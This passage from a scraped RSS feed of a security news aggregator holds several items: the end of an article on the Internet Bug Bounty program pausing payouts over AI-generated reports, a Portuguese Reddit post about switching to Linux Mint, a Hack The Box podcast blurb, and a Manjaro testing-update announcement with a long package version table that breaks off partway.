<p>Among the first programs to be affected is the <a href="https://www.infoworld.com/article/2253639/the-complete-guide-to-nodejs-frameworks.html">Node.js project</a>, a server-side JavaScript platform for web applications known for its extensive ecosystem. While the project team will continue to accept and triage bug reports through HackerOne, without funding from the Internet Bug Bounty program it will no longer pay out rewards, according to <a href="https://nodejs.org/fr/blog/announcements/discontinuing-security-bug-bounties" target="_blank" rel="noreferrer noopener">an announcement on its website</a>.</p>



<p>The Internet Bug Bounty Program is not the only bug-hunting project that has struggled with the onset of AI in vulnerability hunting. In January, <a href="https://www.csoonline.com/article/4120215/ai-junk-causes-curl-to-stop-paying-bug-hunters.html">the Curl program said</a> that it was not taking any more submissions. And just last month, <a href="https://www.infoworld.com/article/4148197/stop-using-ai-to-submit-bug-reports-says-google.html">Google also put a halt to AI-generated submissions</a> provided to its Open Source Software Vulnerability Reward Program.</p>



<p><em>This article first appeared on <a href="https://www.infoworld.com/article/4154210/internet-bug-bounty-program-hits-pause-on-payouts.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Depois de 2 meses usando Zorin mudei para o Mint]]></title>
<description><![CDATA[depois de tentar por 2 meses instalar a minha impressora Epson agora eu decidi trocar para o Mint primeira coisa que verifiquei que instala a impressora automaticamente, uma coisa básica como desktop. só para saberem na 1ª hora de uso estou satisfeito.     submitted by    /u/Imaginary_Jelly_5284 ...]]></description>
<link>https://tsecurity.de/de/3401173/linux-tipps/depois-de-2-meses-usando-zorin-mudei-para-o-mint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3401173/linux-tipps/depois-de-2-meses-usando-zorin-mudei-para-o-mint/</guid>
<pubDate>Thu, 02 Apr 2026 03:41:57 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>depois de tentar por 2 meses instalar a minha impressora Epson agora eu decidi trocar para o Mint primeira coisa que verifiquei que instala a impressora automaticamente, uma coisa básica como desktop. só para saberem na 1ª hora de uso estou satisfeito. </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Imaginary_Jelly_5284"> /u/Imaginary_Jelly_5284 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1sa0kci/depois_de_2_meses_usando_zorin_mudei_para_o_mint/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1sa0kci/depois_de_2_meses_usando_zorin_mudei_para_o_mint/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[What a New Marketing Leader Fixes First with Christine Bartlett, CMO of Hack The Box.]]></title>
<description><![CDATA[Christine Bartlett, SVP of Marketing at Hack The Box, tackles one of the trickiest challenges in marketing leadership: how to come in, make meaningful changes, and still preserve the magic that was there before you arrived.

She gets into building a field marketing team, moving past last-touch at...]]></description>
<link>https://tsecurity.de/de/3398133/it-security-nachrichten/what-a-new-marketing-leader-fixes-first-with-christine-bartlett-cmo-of-hack-the-box/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3398133/it-security-nachrichten/what-a-new-marketing-leader-fixes-first-with-christine-bartlett-cmo-of-hack-the-box/</guid>
<pubDate>Wed, 01 Apr 2026 07:06:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Christine Bartlett, SVP of Marketing at Hack The Box, tackles one of the trickiest challenges in marketing leadership: how to come in, make meaningful changes, and still preserve the magic that was there before you arrived.

She gets into building a field marketing team, moving past last-touch attribution to create alignment amongst the business, and what it takes to get execs and the board on board. There’s also a good conversation around how Hack The Box balances a community model with enterprise, and why investing in early-career talent still pays off!]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2026-03-31 - Linux 7.0-rc6, Thunderbird, Deepin, Freecad, Wireplumber, haskell]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. This might mark the start of the development cycle of the upcoming ‘Bian-May’ release series. With this we aim to update the default kernel to 7.0 series. Also there will be Plasma 6.6 series, KDE Gears 26.04 and GNOME 50 ...]]></description>
<link>https://tsecurity.de/de/3394814/unix-server/testing-update-2026-03-31-linux-70-rc6-thunderbird-deepin-freecad-wireplumber-haskell/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3394814/unix-server/testing-update-2026-03-31-linux-70-rc6-thunderbird-deepin-freecad-wireplumber-haskell/</guid>
<pubDate>Tue, 31 Mar 2026 06:00:52 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. This might mark the start of the development cycle of the upcoming ‘Bian-May’ release series. With this we aim to update the default kernel to <a href="https://www.heise.de/en/news/Linux-Torvalds-starts-development-of-Kernel-7-0-11186358.html">7.0</a> series. Also there will be <a href="https://kde.org/announcements/plasma/6/6.6.0/">Plasma 6.6</a> series, <a href="https://community.kde.org/Schedules/KDE_Gear_26.04_Schedule">KDE Gears 26.04</a> and <a href="https://release.gnome.org/50/">GNOME 50</a> release series. XFCE will stay at <a href="https://www.xfce.org/about/tour420">4.20</a> this release cycle. A release of ‘Bian-May’ can be expected end of April, beginning of May. Let us know any issues you may found thus far …</p>
<h3><a name="p-850257-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-850257-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-850257-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-850257-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.</li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>
<h2><a name="p-850257-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-850257-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Kernel</strong> 7.0 got updated to <a href="https://lore.kernel.org/lkml/CAHk-=wgLvq1LucHhxjiPwDBkMRk=54Zh=-FmUdevXJyHygc=9A@mail.gmail.com/T/#u">7.0-rc6</a></li>
<li><strong>Thunderbird</strong> <a href="https://www.thunderbird.net/thunderbird/149.0.1/releasenotes/">149.0.1</a></li>
<li>Some updates to <strong>Deepin</strong></li>
<li><strong>freecad</strong> <a href="https://blog.freecad.org/2026/03/25/freecad-version-1-1-released/">1.1.0</a></li>
<li>Rebuilds and updates to <strong>haskell</strong></li>
<li><strong>wireplumber</strong> <a href="https://gitlab.com/pipewire/wireplumber/-/blob/07e730b279ac7a520699ae9f6b0797848a731b30/NEWS.rst">0.5.14</a></li>
</ul>
<h2><a name="p-850257-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-850257-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux510 5.10.252</li>
<li>linux515 5.15.202</li>
<li>linux61 6.1.167</li>
<li>linux66 6.6.130</li>
<li>linux612 6.12.78</li>
<li>linux618 6.18.20</li>
<li>linux619 6.19.10</li>
<li>linux70 7.0.0rc6</li>
<li>linux61-rt 6.1.166_rt61</li>
<li>linux66-rt 6.6.129_rt70</li>
<li>linux612-rt 6.12.74_rt16</li>
<li>linux617-rt 6.17.5_rt7</li>
</ul>
<p><strong>Package Changes</strong> (3/31/26 05:17 CEST)</p>
<ul>
<li>testing core x86_64:  3 new and 3 removed package(s)</li>
<li>testing extra x86_64:  1131 new and 1127 removed package(s)</li>
<li>testing multilib x86_64:  8 new and 8 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                             linux70           7.0.0rc5-1           7.0.0rc6-1
                     linux70-headers           7.0.0rc5-1           7.0.0rc6-1


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                                file               5.47-1               5.47-2


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                             discord          1:0.0.131-1                    -
                   linux70-acpi_call            1.2.2-0.5            1.2.2-0.6
                    linux70-bbswitch              0.8-0.5              0.8-0.6
                 linux70-broadcom-wl     6.30.223.271-0.5     6.30.223.271-0.6
                linux70-nvidia-470xx       470.256.02-0.5       470.256.02-0.6
                 linux70-nvidia-open        595.58.03-0.1        595.58.03-0.2
                       linux70-r8168         8.056.02-0.5         8.056.02-0.6
                   linux70-rtl8723bu         20250813-0.5         20250813-0.6
                    linux70-tp_smapi             0.45-0.5             0.45-0.6
                 linux70-vhba-module         20250329-0.5         20250329-0.6
     linux70-virtualbox-host-modules            7.2.6-0.5            7.2.6-0.6
                         linux70-zfs            2.4.1-0.5            2.4.1-0.6


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                          abseil-cpp         20250814.1-1         20260107.1-1
                               afl++              4.35c-2              4.40c-1
                                agda          2.6.4.3-119          2.6.4.3-121
                          aliyun-cli              3.2.9-1              3.3.3-1
                              allure         0.11.0.0-317         0.11.0.0-320
                          amdgpu_top             0.11.2-1             0.11.3-1
                       android-tools            35.0.2-23            35.0.2-24
                          apache-orc              2.3.0-2              2.3.0-3
                                apko             1.1.16-1              1.2.0-1
                               arbtt         0.12.0.3-185         0.12.0.3-187
                             arch-hs            0.12.1-66            0.12.1-70
                      argo-workflows              4.0.2-1              4.0.3-1
                               arrow             23.0.1-2             23.0.1-3
                             astroid               0.17-8               0.17-9
                           astroterm             1.0.10-1              1.1.0-1
                           aws-vault              7.9.7-1             7.9.13-1
                              azcopy            10.32.1-1            10.32.2-1
                       bbswitch-dkms              0.8-806              0.8-807
                       bcachefs-dkms           3:1.37.3-1           3:1.37.4-1
                      bcachefs-tools           3:1.37.3-1           3:1.37.4-1
                               beets              2.7.1-1              2.8.0-1
                               bftpd                6.3-1                6.6-1
                              bloaty               1.1-22               1.1-23
                            bpftrace             0.25.0-1             0.25.1-1
                                brat              0.9.0-2             0.10.0-1
                                 bun             1.3.11-1             1.3.11-2
                               byobu               6.14-1               6.15-1
                       cabal-install          3.10.3.0-15          3.10.3.0-18
                          cabal-plan          0.7.3.0-128          0.7.3.0-130
                      cargo-binstall             1.17.8-2             1.17.9-1
                         cargo-insta             1.47.0-1             1.47.2-1
                        cargo-update             18.2.0-2             19.0.1-1
                             castxml              0.7.0-1              0.7.0-2
                           cbor-tool          0.2.3.0-124          0.2.3.0-126
                              ccache             4.13.1-1             4.13.2-1
                               cgrep             8.1.0-94             8.1.0-97
                              chatty              0.8.9-1              0.8.9-2
                          cherrytree              1.6.3-1              1.6.3-2
                           clash-ghc             1.8.2-97            1.8.2-100
                          cockatrice             2.10.3-1             2.10.3-2
                               crash              9.0.1-1              9.0.1-2
                             cryptol             3.3.0-47             3.3.0-50
                                 cue             0.15.4-1             0.16.0-1
                    curl-impersonate              1.5.1-1              1.5.2-1
                                cyme             2.2.11-2              2.3.0-1
                               darcs           2.18.5-191           2.18.5-194
                             dbeaver             26.0.0-1             26.0.1-1
                     deepin-anything             6.2.11-1              7.0.0-2
                deepin-anything-dkms             6.2.11-1              7.0.0-2
                          deepin-api             6.0.35-1             6.0.37-1
                 deepin-app-services             1.0.40-1             1.0.41-1
          deepin-application-manager             1.2.42-1             1.2.44-1
                     deepin-calendar             6.5.17-1             6.5.18-1
                    deepin-clipboard              6.1.7-1              6.1.8-1
                   deepin-compressor              6.5.9-1             6.5.11-1
               deepin-control-center             6.1.13-1             6.1.15-1
                       deepin-daemon             6.1.46-4             6.1.49-1
                deepin-desktop-theme             1.1.16-1             1.1.18-1
             deepin-device-formatter           0.0.1.18-2              1.5.1-1
                         deepin-draw             6.5.25-1             6.5.26-1
                       deepin-editor             6.5.41-1             6.5.42-1
                 deepin-grand-search              5.4.7-3              5.4.9-1
                    deepin-launchpad             2.0.25-3             2.0.26-1
                        deepin-movie          1:5.10.45-1          1:5.10.46-1
                 deepin-network-core             2.0.42-1             2.0.43-1
               deepin-qt5integration             5.7.30-2             6.7.31-1
          deepin-qt5platform-plugins             5.7.30-2             6.7.31-1
               deepin-qt6integration             6.0.48-3             6.7.31-1
          deepin-qt6platform-plugins             6.0.48-3             6.7.31-1
                  deepin-screensaver             5.0.19-2             5.0.20-1
                     deepin-services             1.0.19-1             1.0.21-1
                      deepin-session             2.0.15-2             2.0.17-1
                        deepin-shell             2.0.27-3             2.0.29-1
               deepin-system-monitor             6.5.19-2             6.5.21-1
                     deepin-terminal             6.5.28-3             6.5.29-1
                  deepin-tray-loader             2.0.24-3             2.0.26-1
                        deepin-turbo            0.0.6.2-1            0.0.6.3-1
                     deepin-util-dfm             1.2.29-1             1.2.31-1
                   deepin-wallpapers            1:1.7.8-1           1:1.7.14-1
                      deepin-widgets             6.0.18-2             6.0.20-1
                               dhall            1.42.3-45            1.42.3-48
                          dhall-bash           1.0.41-176           1.0.41-180
                          dhall-docs           1.0.12-168           1.0.12-171
                          dhall-json           1.7.12-172           1.7.12-175
                    dhall-lsp-server            1.1.4-102            1.1.4-106
                          dhall-yaml           1.2.12-177           1.2.12-180
                       diff-so-fancy              1.4.6-1              1.4.8-1
                          diffoscope                313-1                315-1
                             discord          1:0.0.130-1          1:0.0.131-1
                             dovecot              2.4.3-1              2.4.3-2
                               drone             2.28.0-1             2.28.1-1
                           drone-oss             2.28.0-1             2.28.1-1
                            dtk6core           1:6.7.32-2           1:6.7.33-1
                     dtk6declarative           1:6.7.32-2           1:6.7.33-1
                             dtk6gui           1:6.7.32-2           1:6.7.33-1
                             dtk6log             6.7.32-2             6.7.33-1
                          dtk6widget           1:6.7.32-2           1:6.7.33-1
                             dtkcore           1:6.7.32-2           1:6.7.33-1
                      dtkdeclarative           1:6.7.32-2           1:6.7.33-1
                              dtkgui           1:6.7.32-2           1:6.7.33-1
                              dtklog             6.7.32-2             6.7.33-1
                           dtkwidget           1:6.7.32-2           1:6.7.33-1
                               dunst             1.13.1-1             1.13.2-1
                         easyeffects              8.1.7-1              8.1.8-1
                              emptty             0.16.0-1             0.16.1-1
               evolution-data-server             3.58.3-1             3.58.3-2
          evolution-data-server-docs             3.58.3-1             3.58.3-2
                  falcosecurity-libs             0.20.0-9             0.23.1-1
                           fastfetch             2.60.0-1             2.61.0-1
           firefox-developer-edition            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-ach            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-af            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-an            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ar            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-ast            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-az            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-be            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bg            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bn            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-br            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ca            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ca-valencia      150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-cak            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-cs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-cy            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-da            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-de            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-dsb            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-el            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-ca            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-gb            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-us            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-eo            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-ar            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-cl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-es            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-mx            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-et            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-eu            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fa            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ff            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fi            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-fur            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-fy-nl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ga-ie            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gd            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gn            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-gu-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-he            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-hi-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-hr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-hsb            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-hu            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-hy-am            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ia            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-id            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-is            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-it            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ja            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ka            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-kab            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-kk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-km            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-kn            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ko            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-lij            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-lt            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-lv            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-mk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-mr            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ms            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-my            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-nb-no            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ne-np            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-nl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-nn-no            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-oc            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pa-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-pl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pt-br            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pt-pt            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-rm            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ro            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ru            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-sat            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sc            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-sco            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-si            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sk            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-skr            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sl            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-son            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sq            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sr            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-sv-se            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-szl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ta            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-te            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tg            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-th            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-trs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-uk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ur            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-uz            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-vi            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-xh            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-zh-cn            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-zh-tw            150.0b2-1            150.0b3-1
                             freecad             1.0.2-10              1.1.0-2
                      freeciv-common              3.2.2-6              3.2.4-1
                        freeciv-gtk3              3.2.2-6              3.2.4-1
                        freeciv-gtk4              3.2.2-6              3.2.4-1
                          freeciv-qt              3.2.2-6              3.2.4-1
                           ft2-clone               2.12-1               2.13-1
                                 gdb               17.1-2               17.1-3
                          gdb-common               17.1-2               17.1-3
                                gegl             0.4.68-1             0.4.70-1
                          gemini-cli           1:0.35.2-1           1:0.35.3-1
                                gimp              3.2.0-1              3.2.2-1
                           git-annex       10.20251215-14       10.20251215-19
                           git-delta             0.19.1-1             0.19.2-1
                          git-repair       1.20230814-189       1.20230814-190
                               gitit         0.15.1.2-121         0.15.1.2-127
                             glances              4.5.2-2              4.5.3-1
                               glirc            2.40.1-70            2.40.1-74
           globalprotect-openconnect              2.5.1-2              2.5.1-3
                                  gn    0.2324.304bbef6-1    0.2324.304bbef6-2
                      gnuradio-iqbal             0.38.3-2             0.38.3-3
                       golangci-lint             2.11.3-1             2.11.4-1
                         google-glog              0.7.1-1              0.7.1-2
                                grpc             1.78.1-2             1.80.0-1
                            grpc-cli             1.78.1-2             1.80.0-1
                                gvim           9.2.0204-2           9.2.0272-1
                              hamlib              4.6.5-3              4.7.0-1
                           hardinfo2             2.2.16-1             2.2.16-2
                 haskell-adjunctions            4.4.3-102              4.4.4-1
                       haskell-aeson            2.2.1.0-5            2.2.1.0-7
         haskell-aeson-better-errors           0.9.1.3-73           0.9.1.3-75
                haskell-aeson-casing          0.2.0.0-233          0.2.0.0-235
                  haskell-aeson-diff         1.1.0.13-267         1.1.0.13-269
                haskell-aeson-pretty           0.8.10-150           0.8.10-152
                    haskell-aeson-qq            0.8.4-335            0.8.4-337
        haskell-aeson-warning-parser             0.1.1-89             0.1.1-91
                  haskell-aeson-yaml          1.1.0.1-349          1.1.0.1-351
                haskell-apply-refact          0.14.0.0-63          0.14.0.0-64
                    haskell-arch-web             0.3.2-54             0.3.2-58
                    haskell-arithmoi          0.13.2.0-32          0.13.2.0-35
            haskell-attoparsec-aeson            2.2.0.0-7            2.2.0.0-9
                haskell-authenticate          1.3.5.2-250          1.3.5.2-253
          haskell-authenticate-oauth              1.7-373              1.7-375
                         haskell-aws             0.24.2-9            0.24.2-12
              haskell-binary-conduit            1.3.1-588            1.3.1-590
            haskell-binary-instances            1.0.4-161            1.0.4-163
               haskell-binary-tagged            0.3.1-332            0.3.1-334
                      haskell-bitvec           1.1.5.0-43           1.1.5.0-45
                  haskell-bower-json          1.1.0.0-229          1.1.0.0-231
                  haskell-breakpoint           0.1.4.0-20            0.1.5.0-1
                     haskell-butcher          1.3.3.2-508          1.3.3.2-510
                    haskell-bv-sized             1.0.6-96             1.0.6-99
                  haskell-byte-order          0.1.3.1-161          0.1.3.1-163
   haskell-bytestring-strict-builder           0.4.5.8-76           0.4.5.8-78
       haskell-cabal-install-parsers           0.6.1.1-12           0.6.1.1-16
                 haskell-casa-client             0.0.3-32             0.0.3-36
                  haskell-casa-types             0.0.3-24             0.0.3-27
                       haskell-cborg          0.2.10.0-86          0.2.10.0-88
                  haskell-cborg-json          0.2.6.0-101          0.2.6.0-103
                  haskell-cheapskate          0.1.1.2-861          0.1.1.2-864
                    haskell-checkers            0.6.0-257            0.6.0-258
                     haskell-chimera          0.4.1.0-144          0.4.1.0-146
                          haskell-ci            0.16.6-48            0.16.6-52
                    haskell-citeproc           0.8.1.1-84           0.8.1.1-86
                   haskell-clash-lib             1.8.2-97            1.8.2-100
               haskell-clash-prelude             1.8.2-89             1.8.2-92
              haskell-classy-prelude           1.5.0.3-81           1.5.0.3-84
                haskell-coinbase-pro          0.9.3.2-435          0.9.3.2-439
       haskell-commonmark-extensions            0.2.5.6-5            0.2.5.6-6
           haskell-commonmark-pandoc           0.2.2.3-46           0.2.2.3-48
                     haskell-concise          0.1.0.1-660          0.1.0.1-662
                     haskell-conduit          1.3.6.1-133          1.3.6.1-135
               haskell-conduit-extra             1.3.8-76             1.3.8-78
               haskell-conduit-parse          0.2.1.1-311          0.2.1.1-313
               haskell-config-schema          1.3.0.0-234          1.3.0.0-236
          haskell-constraints-extras           0.4.0.2-54           0.4.0.2-56
               haskell-contravariant              1.5.5-6              1.5.6-1
        haskell-contravariant-extras            0.3.5.4-6            0.3.5.4-7
                   haskell-criterion           1.6.3.0-47           1.6.3.0-49
       haskell-criterion-measurement           0.2.3.0-57           0.2.3.0-59
             haskell-crypton-conduit            0.2.3-219            0.2.3-221
          haskell-crypton-connection             0.4.5-26             0.4.5-28
          haskell-cryptonite-conduit            0.2.2-792            0.2.2-794
                         haskell-dav            1.3.4-874            1.3.4-879
                        haskell-dbus             1.3.3-73             1.3.3-76
               haskell-dbus-hslogger          0.1.0.1-676          0.1.0.1-679
              haskell-deferred-folds           0.9.18.8-2           0.9.18.8-4
        haskell-dense-linear-algebra          0.1.0.0-444          0.1.0.0-446
               haskell-dependent-map            0.4.0.1-9           0.4.0.1-11
               haskell-dependent-sum          0.7.2.0-219          0.7.2.0-221
      haskell-dependent-sum-template           0.2.0.2-17           0.2.0.2-19
                       haskell-deque          0.4.4.2-114          0.4.4.2-116
              haskell-deriving-aeson           0.2.10-131           0.2.10-133
                      haskell-docopt          0.7.0.8-151          0.7.0.8-153
                haskell-doctemplates          0.11.0.1-76          0.11.0.1-78
            haskell-doctest-discover          0.2.0.0-213          0.2.0.0-215
                      haskell-either             5.0.3-79             5.0.3-80
                  haskell-enummapset          0.7.3.0-139          0.7.3.0-141
                   haskell-esqueleto           3.5.11.0-8           3.5.11.1-4
                  haskell-fdo-notify            0.3.1-922            0.3.1-925
                        haskell-feed          1.3.2.1-330          1.3.2.1-332
                    haskell-floskell           0.10.8-189           0.10.8-191
                       haskell-focus          1.0.3.2-186          1.0.3.2-188
